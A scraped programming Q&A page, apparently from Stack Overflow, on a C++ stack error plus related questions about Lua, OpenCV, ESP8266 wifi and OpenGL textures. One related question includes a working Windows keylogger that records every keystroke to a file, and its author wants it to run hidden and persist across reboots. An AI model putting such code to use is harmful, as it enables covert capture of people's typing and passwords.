what it means by - "void value not ignored as it ought to be "? - stack

#include<bits/stdc++.h>
using namespace std;
int prefixEvalution(string chk){
stack<int>st;
for(int i=chk.length()-1;i>=0;i--){
if(chk[i]>='0' && chk[i]<='9'){
st.push(chk[i]-'0');
}
else{
**int a=st.pop();
int b=st.pop();**
switch(chk[i]){
case '+':
st.push(a+b);
break;
case '-':
st.push(a-b);
break;
case '*':
st.push(a*b);
break;
case '/':
st.push(a/b);
break;
case '^':
st.push(pow(a,b));
break;
default:
break;
}
}
}
return st.top();
}
Here compiler shows an error for "int a= st.pop();" and says "void value not ignored as it ought to be ". I don't know why?

Related

Windows keypress event not working in an application when application is launched from windows service

#include <iostream>
#include <Windows.h>
using namespace std;
int Save(int key, const char *file);
int main()
{
//FreeConsole();
char i;
while (true) {
Sleep(10);
for (i = 8; i <= 255; i++)
{
if (GetAsyncKeyState(i) == -32767) {
Save(i, "log.txt");
}
}
}
return 0;
}
int Save(int _key, const char* file) {
cout << "key => " << _key << endl;
Sleep(10);
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
switch (_key)
{
case VK_SHIFT:
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
break;
case VK_RETURN:
fprintf(OUTPUT_FILE, "%s", "\n");
break;
case VK_BACK:
fprintf(OUTPUT_FILE, "%s", "[REMOVED_CHARACTER]");
break;
case VK_TAB:
fprintf(OUTPUT_FILE, "%s", "[TAB]");
break;
case VK_SPACE:
fprintf(OUTPUT_FILE, "%s", " ");
break;
case VK_CONTROL:
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
break;
default:
fprintf(OUTPUT_FILE, "%s", &_key);
break;
}
fclose(OUTPUT_FILE);
return 0;
}
What I want to achieve is run my .exe file in background and forever even if system restarts.
I have created similar functionality in node JS as well but the problem is when run the .exe file from windows service then keypress events stops working and nothing is getting logged when I run .exe file directly it works fine and keypress events work fine

What is lua_len() alternative in Lua 5.1?

I just replaced Lua with LuaJIT for my project and I got the error saying
Use of undeclared identifier 'lua_len'
How can I change lua_len so it is compatible with Lua 5.1 and LuaJIT?
Here's my code that uses lua_len from the SWIG binding. (In case it helps)
%typemap(in) (int argc, t_atom *argv)
{
if (!lua_istable(L, $input)) {
SWIG_exception(SWIG_RuntimeError, "argument mismatch: table expected");
}
lua_len(L, $input);
$1 = lua_tointeger(L, -1);
if (!$1) {
SWIG_exception(SWIG_RuntimeError, "table is empty");
}
$2 = (t_atom *)getbytes($1 * sizeof(t_atom));
for (int i=0; i<$1; ++i) {
lua_pushinteger(L, i+1);
lua_gettable(L, $input);
if (lua_isnumber(L, -1)) {
$2[i].a_type = A_FLOAT;
$2[i].a_w.w_float = lua_tonumber(L, -1);
}
else if (lua_isstring(L, -1)) {
$2[i].a_type = A_SYMBOL;
$2[i].a_w.w_symbol = gensym(lua_tostring(L, -1));
}
else {
SWIG_exception(SWIG_RuntimeError, "unhandled argument type");
}
}
}
You can backport lua_len to Lua 5.1 by using lua-compat-5.3. If you don't want all of that, you can just use part of it by inlining it into your interface file. In case of lua_len you need
%{
static void lua_len (lua_State *L, int i) {
switch (lua_type(L, i)) {
case LUA_TSTRING:
lua_pushnumber(L, (lua_Number)lua_objlen(L, i));
break;
case LUA_TTABLE:
if (!luaL_callmeta(L, i, "__len"))
lua_pushnumber(L, (lua_Number)lua_objlen(L, i));
break;
case LUA_TUSERDATA:
if (luaL_callmeta(L, i, "__len"))
break;
/* FALLTHROUGH */
default:
luaL_error(L, "attempt to get length of a %s value",
lua_typename(L, lua_type(L, i)));
}
}
%}

Access violation error on stereolabs

I'm writing a program to convert an image sensed with a StereoLabs ZED stereocamera to an OpenCV image, to do some processing, here is the code (including the setup part een if I don't know if the problem can be there):
#include "stdafx.h"
#include "sl/camera.hpp"
#include "opencv2/opencv.hpp"
using namespace std;
using namespace cv;
using namespace sl;
cv::Mat zed_to_ocv(sl::Mat zed_mat) {
int cv_type = -1;
switch (zed_mat.getDataType()) {
case MAT_TYPE_32F_C1: cv_type = CV_32FC1; break;
case MAT_TYPE_32F_C2: cv_type = CV_32FC2; break;
case MAT_TYPE_32F_C3: cv_type = CV_32FC3; break;
case MAT_TYPE_32F_C4: cv_type = CV_32FC4; break;
case MAT_TYPE_8U_C1: cv_type = CV_8UC1; break;
case MAT_TYPE_8U_C2: cv_type = CV_8UC2; break;
case MAT_TYPE_8U_C3: cv_type = CV_8UC3; break;
case MAT_TYPE_8U_C4: cv_type = CV_8UC4; break;
default: break;
}
return cv::Mat(zed_mat.getHeight(), zed_mat.getWidth(), cv_type, zed_mat.getPtr<sl::uchar1>(MEM_CPU));
}
int main(int argc, char **argv) {
InitParameters parameters;
parameters.depth_mode = DEPTH_MODE_PERFORMANCE;
parameters.coordinate_units = UNIT_METER;
parameters.camera_fps = 30;
if (argc > 1) {
parameters.svo_input_filename = argv[1];
}
sl::Camera zed;
ERROR_CODE err = zed.open(parameters);
if (err != SUCCESS) {
zed.close();
cout << "Error while opening ZED camera";
return -1;
}
RuntimeParameters runtime_parameters;
runtime_parameters.sensing_mode = SENSING_MODE_STANDARD;
Resolution image_size = zed.getResolution();
int new_width = image_size.width;
int new_height = image_size.height;
sl::Mat image_zed(new_width, new_height, MAT_TYPE_8U_C4);
cv::Mat image_ocv = zed_to_ocv(image_zed);
cv::Mat image(new_width, new_height, CV_8UC1);
while (true) {
if (zed.grab(runtime_parameters) == SUCCESS) {
zed.retrieveImage(image_zed, VIEW_LEFT, MEM_CPU, new_width, new_height);
cv::cvtColor(image_ocv, image, CV_BGRA2GRAY);
imshow("camera", image);
waitKey(30);
}
}
zed.close();
return 0;
}
This code works just fine, but if I wanted to use 32F matrices instead (changing the type of both image_zed and image) I get a
Exception in correspondence of 0x00007FF97D175400 (opencv_imgproc340d.dll) in projectCV.exe: 0xC0000005: access violation error reading 0x000002C52DC13040.
error. I tried changing to
getPtr<sl::float1>
inside zed_to_ocv, but the error is still there.
EDIT: Debugging I found out the crash happens at line
cv::cvtColor(image_ocv, image, CV_BGRA2GRAY);
but I still can't figure out why.
What is the problem here? Thanks.

eps-open-rtos: sdk_wifi_station_get_connect_status returns 255

Even in included HTTP get demo sdk_wifi_station_get_connect_status() returns 255 even before try to connect. And of course it refuses to connect to
There is no any documentation this status.
Is there any suggestion on this issue?
you need to config the esp on user_init() function and call function sdk_wifi_station_get_connect_status() inside a task
#include "espressif/esp_common.h"
#include "esp/uart.h"
#include "FreeRTOS.h"
#include "task.h"
#include "ssid_config.h"
#include "esp8266.h"
void task1(void *pvParameters)
{
while (1)
{
check_wifi_connection();
}
}
void check_wifi_connection()
{
uint8_t status = sdk_wifi_station_get_connect_status();
while (status != STATION_GOT_IP)
{
status = sdk_wifi_station_get_connect_status();
vTaskDelay(ONE_SEC / portTICK_PERIOD_MS);
switch (status)
{
case STATION_WRONG_PASSWORD:
printf("WiFi: wrong password\n\r");
break;
case STATION_NO_AP_FOUND:
printf("WiFi: AP not found\n\r");
break;
case STATION_CONNECT_FAIL:
printf("WiFi: connection failed\r\n");
break;
case STATION_GOT_IP:
break;
default:
printf("%s: status = %d\n\r", __func__, status);
break;
}
}
}
void user_init(void)
{
uart_set_baud(0, BAUDRATE);
sdk_wifi_set_opmode(STATION_MODE);
sdk_wifi_station_set_auto_connect(true);
sdk_wifi_station_set_config(&config);// my config that
gpio_enable(gpio, GPIO_INPUT);
tsqueue = xQueueCreate(2, sizeof(uint32_t));
xTaskCreate(&task1,
"task1",
2048,
NULL,
tskIDLE_PRIORITY,
&task_handler);
}

how to use multi-texture as one texture?

I want to use glues(the function is following) to draw sphere, which only support a single texture.
And I have to use a big texture(8096X4096) on iphone4. I split the big texture into several small ones(512X512). How can I use multi-texture to combine these small ones to be a big one to pass to gluSphere to use????
Thank you in advance!
//glues draw sphere function
GLAPI void APIENTRY gluSphere(GLUquadric* qobj, GLfloat radius, GLint slices, GLint stacks)
{
GLint i, j;
GLfloat sinCache1a[CACHE_SIZE];
GLfloat cosCache1a[CACHE_SIZE];
GLfloat sinCache2a[CACHE_SIZE];
GLfloat cosCache2a[CACHE_SIZE];
GLfloat sinCache3a[CACHE_SIZE];
GLfloat cosCache3a[CACHE_SIZE];
GLfloat sinCache1b[CACHE_SIZE];
GLfloat cosCache1b[CACHE_SIZE];
GLfloat sinCache2b[CACHE_SIZE];
GLfloat cosCache2b[CACHE_SIZE];
GLfloat sinCache3b[CACHE_SIZE];
GLfloat cosCache3b[CACHE_SIZE];
GLfloat angle;
GLfloat zLow, zHigh;
GLfloat sintemp1 = 0.0, sintemp2 = 0.0, sintemp3 = 0.0, sintemp4 = 0.0;
GLfloat costemp1 = 0.0, costemp2 = 0.0, costemp3 = 0.0, costemp4 = 0.0;
GLfloat vertices[(CACHE_SIZE+1)*2][3];
GLfloat texcoords[(CACHE_SIZE+1)*2][2];
GLfloat normals[(CACHE_SIZE+1)*2][3];
GLboolean needCache2, needCache3;
GLint start, finish;
GLboolean texcoord_enabled;
GLboolean normal_enabled;
GLboolean vertex_enabled;
GLboolean color_enabled;
if (slices>=CACHE_SIZE)
{
slices=CACHE_SIZE-1;
}
if (stacks>=CACHE_SIZE)
{
stacks=CACHE_SIZE-1;
}
if (slices<2 || stacks<1 || radius<0.0)
{
gluQuadricError(qobj, GLU_INVALID_VALUE);
return;
}
/* Cache is the vertex locations cache */
/* Cache2 is the various normals at the vertices themselves */
/* Cache3 is the various normals for the faces */
needCache2=needCache3=GL_FALSE;
if (qobj->normals==GLU_SMOOTH)
{
needCache2=GL_TRUE;
}
if (qobj->normals==GLU_FLAT)
{
if (qobj->drawStyle!=GLU_POINT)
{
needCache3=GL_TRUE;
}
if (qobj->drawStyle==GLU_LINE)
{
needCache2=GL_TRUE;
}
}
for (i=0; i<slices; i++)
{
angle=2.0f*PI*i/slices;
sinCache1a[i]=(GLfloat)sin(angle);
cosCache1a[i]=(GLfloat)cos(angle);
if (needCache2)
{
sinCache2a[i] = sinCache1a[i];
cosCache2a[i] = cosCache1a[i];
}
}
for (j=0; j<=stacks; j++)
{
angle=PI*j/stacks;
if (needCache2)
{
if (qobj->orientation==GLU_OUTSIDE)
{
sinCache2b[j]=(GLfloat)sin(angle);
cosCache2b[j]=(GLfloat)cos(angle);
}
else
{
sinCache2b[j]=(GLfloat)-sin(angle);
cosCache2b[j]=(GLfloat)-cos(angle);
}
}
sinCache1b[j]=(GLfloat)(radius*sin(angle));
cosCache1b[j]=(GLfloat)(radius*cos(angle));
}
/* Make sure it comes to a point */
sinCache1b[0]=0;
sinCache1b[stacks]=0;
if (needCache3)
{
for (i=0; i<slices; i++)
{
angle=2.0f*PI*(i-0.5f)/slices;
sinCache3a[i]=(GLfloat)sin(angle);
cosCache3a[i]=(GLfloat)cos(angle);
}
for (j=0; j<=stacks; j++)
{
angle=PI*(j-0.5f)/stacks;
if (qobj->orientation==GLU_OUTSIDE)
{
sinCache3b[j]=(GLfloat)sin(angle);
cosCache3b[j]=(GLfloat)cos(angle);
}
else
{
sinCache3b[j]=(GLfloat)-sin(angle);
cosCache3b[j]=(GLfloat)-cos(angle);
}
}
}
sinCache1a[slices]=sinCache1a[0];
cosCache1a[slices]=cosCache1a[0];
if (needCache2)
{
sinCache2a[slices]=sinCache2a[0];
cosCache2a[slices]=cosCache2a[0];
}
if (needCache3)
{
sinCache3a[slices]=sinCache3a[0];
cosCache3a[slices]=cosCache3a[0];
}
/* Store status of enabled arrays */
texcoord_enabled=GL_FALSE; //glIsEnabled(GL_TEXTURE_COORD_ARRAY);
normal_enabled=GL_FALSE; //glIsEnabled(GL_NORMAL_ARRAY);
vertex_enabled=GL_FALSE; //glIsEnabled(GL_VERTEX_ARRAY);
color_enabled=GL_FALSE; //glIsEnabled(GL_COLOR_ARRAY);
/* Enable arrays */
glEnableClientState(GL_VERTEX_ARRAY);
glVertexPointer(3, GL_FLOAT, 0, vertices);
if (qobj->textureCoords)
{
glEnableClientState(GL_TEXTURE_COORD_ARRAY);
glTexCoordPointer(2, GL_FLOAT, 0, texcoords);
}
else
{
glDisableClientState(GL_TEXTURE_COORD_ARRAY);
}
if (qobj->normals!=GLU_NONE)
{
glEnableClientState(GL_NORMAL_ARRAY);
glNormalPointer(GL_FLOAT, 0, normals);
}
else
{
glDisableClientState(GL_NORMAL_ARRAY);
}
glDisableClientState(GL_COLOR_ARRAY);
switch (qobj->drawStyle)
{
case GLU_FILL:
if (!(qobj->textureCoords))
{
start=1;
finish=stacks-1;
/* Low end first (j == 0 iteration) */
sintemp2=sinCache1b[1];
zHigh=cosCache1b[1];
switch(qobj->normals)
{
case GLU_FLAT:
sintemp3=sinCache3b[1];
costemp3=cosCache3b[1];
normals[0][0]=sinCache3a[0]*sinCache3b[0];
normals[0][1]=cosCache3a[0]*sinCache3b[0];
normals[0][2]=cosCache3b[0];
break;
case GLU_SMOOTH:
sintemp3=sinCache2b[1];
costemp3=cosCache2b[1];
normals[0][0]=sinCache2a[0]*sinCache2b[0];
normals[0][1]=cosCache2a[0]*sinCache2b[0];
normals[0][2]=cosCache2b[0];
break;
default:
break;
}
vertices[0][0]=0.0f;
vertices[0][1]=0.0f;
vertices[0][2]=radius;
if (qobj->orientation==GLU_OUTSIDE)
{
for (i=slices; i>=0; i--)
{
switch(qobj->normals)
{
case GLU_SMOOTH:
normals[slices-i+1][0]=sinCache2a[i]*sintemp3;
normals[slices-i+1][1]=cosCache2a[i]*sintemp3;
normals[slices-i+1][2]=costemp3;
break;
case GLU_FLAT:
if (i!=slices)
{
normals[slices-i+1][0]=sinCache3a[i+1]*sintemp3;
normals[slices-i+1][1]=cosCache3a[i+1]*sintemp3;
normals[slices-i+1][2]=costemp3;
}
else
{
/* We must add any normal here */
normals[slices-i+1][0]=sinCache3a[i]*sintemp3;
normals[slices-i+1][1]=cosCache3a[i]*sintemp3;
normals[slices-i+1][2]=costemp3;
}
break;
case GLU_NONE:
default:
break;
}
vertices[slices-i+1][0]=sintemp2*sinCache1a[i];
vertices[slices-i+1][1]=sintemp2*cosCache1a[i];
vertices[slices-i+1][2]=zHigh;
}
}
else
{
for (i=0; i<=slices; i++)
{
switch(qobj->normals)
{
case GLU_SMOOTH:
normals[i+1][0]=sinCache2a[i]*sintemp3;
normals[i+1][1]=cosCache2a[i]*sintemp3;
normals[i+1][2]=costemp3;
break;
case GLU_FLAT:
normals[i+1][0]=sinCache3a[i]*sintemp3;
normals[i+1][1]=cosCache3a[i]*sintemp3;
normals[i+1][2]=costemp3;
break;
case GLU_NONE:
default:
break;
}
vertices[i+1][0]=sintemp2*sinCache1a[i];
vertices[i+1][1]=sintemp2*cosCache1a[i];
vertices[i+1][2]=zHigh;
}
}
glDrawArrays(GL_TRIANGLE_FAN, 0, (slices+2));
/* High end next (j==stacks-1 iteration) */
sintemp2=sinCache1b[stacks-1];
zHigh=cosCache1b[stacks-1];
switch(qobj->normals)
{
case GLU_FLAT:
sintemp3=sinCache3b[stacks];
costemp3=cosCache3b[stacks];
normals[0][0]=sinCache3a[stacks]*sinCache3b[stacks];
normals[0][1]=cosCache3a[stacks]*sinCache3b[stacks];
normals[0][2]=cosCache3b[stacks];
break;
case GLU_SMOOTH:
sintemp3=sinCache2b[stacks-1];
costemp3=cosCache2b[stacks-1];
normals[0][0]=sinCache2a[stacks]*sinCache2b[stacks];
normals[0][1]=cosCache2a[stacks]*sinCache2b[stacks];
normals[0][2]=cosCache2b[stacks];
break;
default:
break;
}
vertices[0][0]=0.0f;
vertices[0][1]=0.0f;
vertices[0][2]=-radius;
if (qobj->orientation==GLU_OUTSIDE)
{
for (i=0; i<=slices; i++)
{
switch(qobj->normals)
{
case GLU_SMOOTH:
normals[i+1][0]=sinCache2a[i]*sintemp3;
normals[i+1][1]=cosCache2a[i]*sintemp3;
normals[i+1][2]=costemp3;
break;
case GLU_FLAT:
normals[i+1][0]=sinCache3a[i]*sintemp3;
normals[i+1][1]=cosCache3a[i]*sintemp3;
normals[i+1][2]=costemp3;
break;
case GLU_NONE:
default:
break;
}
vertices[i+1][0]=sintemp2*sinCache1a[i];
vertices[i+1][1]=sintemp2*cosCache1a[i];
vertices[i+1][2]=zHigh;
}
}
else
{
for (i=slices; i>=0; i--)
{
switch(qobj->normals)
{
case GLU_SMOOTH:
normals[slices-i+1][0]=sinCache2a[i]*sintemp3;
normals[slices-i+1][1]=cosCache2a[i]*sintemp3;
normals[slices-i+1][2]=costemp3;
break;
case GLU_FLAT:
if (i!=slices)
{
normals[slices-i+1][0]=sinCache3a[i+1]*sintemp3;
normals[slices-i+1][1]=cosCache3a[i+1]*sintemp3;
normals[slices-i+1][2]=costemp3;
}
else
{
normals[slices-i+1][0]=sinCache3a[i]*sintemp3;
normals[slices-i+1][1]=cosCache3a[i]*sintemp3;
normals[slices-i+1][2]=costemp3;
}
break;
case GLU_NONE:
default:
break;
}
vertices[slices-i+1][0]=sintemp2*sinCache1a[i];
vertices[slices-i+1][1]=sintemp2*cosCache1a[i];
vertices[slices-i+1][2]=zHigh;
}
}
glDrawArrays(GL_TRIANGLE_FAN, 0, (slices+2));
}
else
{
start=0;
finish=stacks;
}
for (j=start; j<finish; j++)
{
zLow=cosCache1b[j];
zHigh=cosCache1b[j+1];
sintemp1=sinCache1b[j];
sintemp2=sinCache1b[j+1];
switch(qobj->normals)
{
case GLU_FLAT:
sintemp4=sinCache3b[j+1];
costemp4=cosCache3b[j+1];
break;
case GLU_SMOOTH:
if (qobj->orientation==GLU_OUTSIDE)
{
sintemp3=sinCache2b[j+1];
costemp3=cosCache2b[j+1];
sintemp4=sinCache2b[j];
costemp4=cosCache2b[j];
}
else
{
sintemp3=sinCache2b[j];
costemp3=cosCache2b[j];
sintemp4=sinCache2b[j+1];
costemp4=cosCache2b[j+1];
}
break;
default:
break;
}
for (i=0; i<=slices; i++)
{
switch(qobj->normals)
{
case GLU_SMOOTH:
normals[i*2][0]=sinCache2a[i]*sintemp3;
normals[i*2][1]=cosCache2a[i]*sintemp3;
normals[i*2][2]=costemp3;
break;
case GLU_FLAT:
normals[i*2][0]=sinCache3a[i]*sintemp4;
normals[i*2][1]=cosCache3a[i]*sintemp4;
normals[i*2][2]=costemp4;
break;
case GLU_NONE:
default:
break;
}
if (qobj->orientation==GLU_OUTSIDE)
{
if (qobj->textureCoords)
{
texcoords[i*2][0]=1-(GLfloat)i/slices;
texcoords[i*2][1]=1-(GLfloat)(j+1)/stacks;
}
vertices[i*2][0]=sintemp2*sinCache1a[i];
vertices[i*2][1]=sintemp2*cosCache1a[i];
vertices[i*2][2]=zHigh;
}
else
{
if (qobj->textureCoords)
{
texcoords[i*2][0]=1-(GLfloat)i/slices;
texcoords[i*2][1]=1-(GLfloat)j/stacks;
}
vertices[i*2][0]=sintemp1*sinCache1a[i];
vertices[i*2][1]=sintemp1*cosCache1a[i];
vertices[i*2][2]=zLow;
}
switch(qobj->normals)
{
case GLU_SMOOTH:
normals[i*2+1][0]=sinCache2a[i]*sintemp4;
normals[i*2+1][1]=cosCache2a[i]*sintemp4;
normals[i*2+1][2]=costemp4;
break;
case GLU_FLAT:
normals[i*2+1][0]=sinCache3a[i]*sintemp4;
normals[i*2+1][1]=cosCache3a[i]*sintemp4;
normals[i*2+1][2]=costemp4;
break;
case GLU_NONE:
default:
break;
}
if (qobj->orientation==GLU_OUTSIDE)
{
if (qobj->textureCoords)
{
texcoords[i*2+1][0]=1-(GLfloat)i/slices;
texcoords[i*2+1][1]=1-(GLfloat)j/stacks;
}
vertices[i*2+1][0]=sintemp1*sinCache1a[i];
vertices[i*2+1][1]=sintemp1*cosCache1a[i];
vertices[i*2+1][2]=zLow;
}
else
{
if (qobj->textureCoords)
{
texcoords[i*2+1][0]=1-(GLfloat)i/slices;
texcoords[i*2+1][1]=1-(GLfloat)(j+1)/stacks;
}
vertices[i*2+1][0]=sintemp2*sinCache1a[i];
vertices[i*2+1][1]=sintemp2*cosCache1a[i];
vertices[i*2+1][2]=zHigh;
}
}
glDrawArrays(GL_TRIANGLE_STRIP, 0, (slices+1)*2);
}
break;
case GLU_POINT:
for (j=0; j<=stacks; j++)
{
sintemp1=sinCache1b[j];
costemp1=cosCache1b[j];
switch(qobj->normals)
{
case GLU_FLAT:
case GLU_SMOOTH:
sintemp2=sinCache2b[j];
costemp2=cosCache2b[j];
break;
default:
break;
}
for (i=0; i<slices; i++)
{
switch(qobj->normals)
{
case GLU_FLAT:
case GLU_SMOOTH:
normals[i][0]=sinCache2a[i]*sintemp2;
normals[i][1]=cosCache2a[i]*sintemp2;
normals[i][2]=costemp2;
break;
case GLU_NONE:
default:
break;
}
zLow=j*radius/stacks;
if (qobj->textureCoords)
{
texcoords[i][0]=1-(GLfloat)i/slices;
texcoords[i][1]=1-(GLfloat)j/stacks;
}
vertices[i][0]=sintemp1*sinCache1a[i];
vertices[i][1]=sintemp1*cosCache1a[i];
vertices[i][2]=costemp1;
}
glDrawArrays(GL_POINTS, 0, slices);
}
break;
case GLU_LINE:
case GLU_SILHOUETTE:
for (j=1; j<stacks; j++)
{
sintemp1=sinCache1b[j];
costemp1=cosCache1b[j];
switch(qobj->normals)
{
case GLU_FLAT:
case GLU_SMOOTH:
sintemp2=sinCache2b[j];
costemp2=cosCache2b[j];
break;
default:
break;
}
for (i=0; i<=slices; i++)
{
switch(qobj->normals)
{
case GLU_FLAT:
normals[i][0]=sinCache3a[i]*sintemp2;
normals[i][1]=cosCache3a[i]*sintemp2;
normals[i][2]=costemp2;
break;
case GLU_SMOOTH:
normals[i][0]=sinCache2a[i]*sintemp2;
normals[i][1]=cosCache2a[i]*sintemp2;
normals[i][2]=costemp2;
break;
case GLU_NONE:
default:
break;
}
if (qobj->textureCoords)
{
texcoords[i][0]=1-(GLfloat)i/slices;
texcoords[i][1]=1-(GLfloat)j/stacks;
}
vertices[i][0]=sintemp1*sinCache1a[i];
vertices[i][1]=sintemp1*cosCache1a[i];
vertices[i][2]=costemp1;
}
glDrawArrays(GL_LINE_STRIP, 0, slices+1);
}
for (i=0; i<slices; i++)
{
sintemp1=sinCache1a[i];
costemp1=cosCache1a[i];
switch(qobj->normals)
{
case GLU_FLAT:
case GLU_SMOOTH:
sintemp2=sinCache2a[i];
costemp2=cosCache2a[i];
break;
default:
break;
}
for (j=0; j<=stacks; j++)
{
switch(qobj->normals)
{
case GLU_FLAT:
normals[j][0]=sintemp2*sinCache3b[j];
normals[j][1]=costemp2*sinCache3b[j];
normals[j][2]=cosCache3b[j];
break;
case GLU_SMOOTH:
normals[j][0]=sintemp2*sinCache2b[j];
normals[j][1]=costemp2*sinCache2b[j];
normals[j][2]=cosCache2b[j];
break;
case GLU_NONE:
default:
break;
}
if (qobj->textureCoords)
{
texcoords[j][0]=1-(GLfloat)i/slices;
texcoords[j][1]=1-(GLfloat)j/stacks;
}
vertices[j][0]=sintemp1*sinCache1b[j];
vertices[j][1]=costemp1*sinCache1b[j];
vertices[j][2]=cosCache1b[j];
}
glDrawArrays(GL_LINE_STRIP, 0, stacks+1);
}
break;
default:
break;
}
/* Disable or re-enable arrays */
if (vertex_enabled)
{
/* Re-enable vertex array */
glEnableClientState(GL_VERTEX_ARRAY);
}
else
{
glDisableClientState(GL_VERTEX_ARRAY);
}
if (texcoord_enabled)
{
glEnableClientState(GL_TEXTURE_COORD_ARRAY);
}
else
{
glDisableClientState(GL_TEXTURE_COORD_ARRAY);
}
if (normal_enabled)
{
glEnableClientState(GL_NORMAL_ARRAY);
}
else
{
glDisableClientState(GL_NORMAL_ARRAY);
}
if (color_enabled)
{
glEnableClientState(GL_COLOR_ARRAY);
}
else
{
glDisableClientState(GL_COLOR_ARRAY);
}
}
/end/
First to answer the question, if you are using ES2, you can try loading all 16x8 textures but I'd say 32 of them is currently maximum on iOS (judging from enumerations for active texture). If you succeed having all the textures you will need to compute which texture to use from the texture coordinates in fragment shader:
int verticalTextureCount, horizontalTextureCount; //input tile count
float texCoordX, texCoordY; //input texture coordinates
int textureX = (int)(texCoordX*horizontalTextureCount); //texture to use
int textureY = (int)(texCoordY*verticalTextureCount); //texture to use
texCoordX -= (1.0/horizontalTextureCount)*textureX; //decreas offset
texCoordY -= (1.0/verticalTextureCount)*textureY; //decreas offset
texCoordX *= horizontalTextureCount; //rescale
texCoordY *= verticalTextureCount; //rescale
At this point you can write verticalTextureCount*horizontalTextureCount "if statements" using textureX and textureY to determine what texture to use and texCoors to get the texel. That is more or less it.
Second as for the discussion, NO, do not do that. If the texture is too big, it is too big. If I dare to guess I would say you are trying to make an application that has some sort of planet on which you wish to have some extreme zoom function and for that you want some detailed texture. If that is the case or similar, create multiple images that will be used as textures, for instance: Have 1 image on which lays a whole sphere, 4 images with one forth of sphere on each, 16 images... and all this images are of same size like 2048*2048.
Now comes the best part, you need a dynamical system that will load and unload images depending on what you need. If the sphere is zoomed out you only need the 1 whole image and draw as you did before. If you zoom in a lot you need to check what level of texture is most suitable AND check what parts of the sphere are visible so you can load only the textures you need and draw only the parts of the sphere that are visible. This is not an easy task but it is more or less the same principle as in many of the applications where you can see our planet in 3D. It checks in runtime what part of planet are you looking at and at what detail, usually sends request to the server to receive the detailed images if needed and creates the detailed textures to be displayed.

Resources